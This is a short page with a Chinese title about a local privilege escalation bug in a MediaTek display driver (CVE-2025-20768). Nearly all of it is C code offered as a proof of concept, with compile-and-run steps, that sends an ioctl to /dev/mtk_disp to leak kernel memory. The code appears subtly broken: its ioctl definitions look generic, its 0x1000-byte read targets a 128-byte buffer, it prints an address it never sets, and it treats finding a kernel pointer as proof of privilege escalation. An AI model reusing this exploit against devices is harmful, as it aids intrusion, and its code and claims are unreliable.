MediaTek display组件越界读取漏洞导致本地权限提升(CVE-2025-20768)

// CVE-2025-20768 PoC - MediaTek Display OOB Read // This PoC demonstrates the out-of-bounds read vulnerability in MediaTek display driver // Note: Requires System privileges to exploit #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // MediaTek display driver IOCTL definitions #define MTK_DISP_IOCTL_MAGIC 'D' #define MTK_DISP_IOCTL_GET_PHYADDR _IOR(MTK_DISP_IOCTL_MAGIC, 0x1, unsigned long) #define MTK_DISP_IOCTL_READ_MEMORY _IOWR(MTK_DISP_IOCTL_MAGIC, 0x2, struct disp_mem_data) struct disp_mem_data { unsigned long va_addr; unsigned long pa_addr; unsigned long size; }; int main() { int fd; struct disp_mem_data mem_data; unsigned long leaked_data[16]; printf("[*] CVE-2025-20768 MediaTek Display OOB Read PoC\n"); printf("[*] This exploit requires System privileges\n"); // Open MediaTek display device fd = open("/dev/mtk_disp", O_RDWR); if (fd < 0) { printf("[-] Failed to open display device\n"); return -1; } // Trigger the OOB read condition // The vulnerability occurs when display driver reads beyond allocated buffer mem_data.va_addr = (unsigned long)&leaked_data; mem_data.size = 0x1000; // Requested read size // IOCTL call that triggers the vulnerable code path if (ioctl(fd, MTK_DISP_IOCTL_READ_MEMORY, &mem_data) == 0) { printf("[+] Successfully triggered OOB read\n"); printf("[+] Leaked memory contents:\n"); for (int i = 0; i < 16; i++) { printf(" [0x%lx]: 0x%lx\n", mem_data.pa_addr + (i * 8), leaked_data[i]); } // Check for kernel pointers to confirm privilege escalation for (int i = 0; i < 16; i++) { if ((leaked_data[i] >= 0xffff000000000000) && (leaked_data[i] <= 0xffffffffffffffff)) { printf("[!] Found kernel pointer at offset %d: 0x%lx\n", i, leaked_data[i]); } } } else { printf("[-] IOCTL call failed\n"); } close(fd); return 0; } // Usage: // 1. Compile: gcc -o cve_2025_20768_poc cve_2025_20768_poc.c // 2. Run with System privileges // 3. Check for leaked kernel memory addresses